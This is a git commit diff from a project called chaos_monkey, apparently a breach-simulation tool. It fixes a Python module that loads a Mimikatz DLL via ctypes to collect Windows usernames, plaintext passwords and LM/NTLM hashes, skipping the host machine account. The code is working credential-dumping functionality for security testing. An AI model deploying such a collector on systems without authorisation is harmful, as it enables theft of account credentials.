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Fix mimikatz bug where plain passwords weren't collected when they could have

This commit is contained in:
Itay Mizeretz 2017-10-02 11:25:53 +03:00
parent 48be73bc3f
commit afcd066fff
1 changed files with 21 additions and 12 deletions
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33
chaos_monkey/system_info/mimikatz_collector.py
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@ -1,14 +1,13 @@
import ctypes
import binascii
import logging
import socket
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
class MimikatzCollector:
"""
Password collection module for Windows using Mimikatz.
@ -24,7 +23,7 @@ class MimikatzCollector:
self._collect = collect_proto(("collect", self._dll))
self._get = get_proto(("get", self._dll))
self._isInit = True
except StandardError as ex:
except StandardError:
LOG.exception("Error initializing mimikatz collector")
def get_logon_info(self):
@ -40,18 +39,28 @@ class MimikatzCollector:
entry_count = self._collect()
logon_data_dictionary = {}
hostname = socket.gethostname()
for i in range(entry_count):
entry = self._get()
username = str(entry.username)
password = str(entry.password)
username = entry.username.encode('utf-8').strip()
password = entry.password.encode('utf-8').strip()
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
has_password = (0 != len(password))
if 0 == len(password):
has_password = False
elif (username[-1] == '$') and (hostname.lower() == username[0:-1]):
# Don't save the password of the host domain user (HOSTNAME$)
has_password = False
else:
has_password = True
has_lm = ("00000000000000000000000000000000" != lm_hash)
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
if not logon_data_dictionary.has_key(username):
if username not in logon_data_dictionary:
logon_data_dictionary[username] = {}
if has_password:
logon_data_dictionary[username]["password"] = password
@ -61,7 +70,7 @@ class MimikatzCollector:
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
return logon_data_dictionary
except StandardError as ex:
except StandardError:
LOG.exception("Error getting logon info")
return {}
@ -75,8 +84,8 @@ class MimikatzCollector:
_fields_ = \
[
("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
]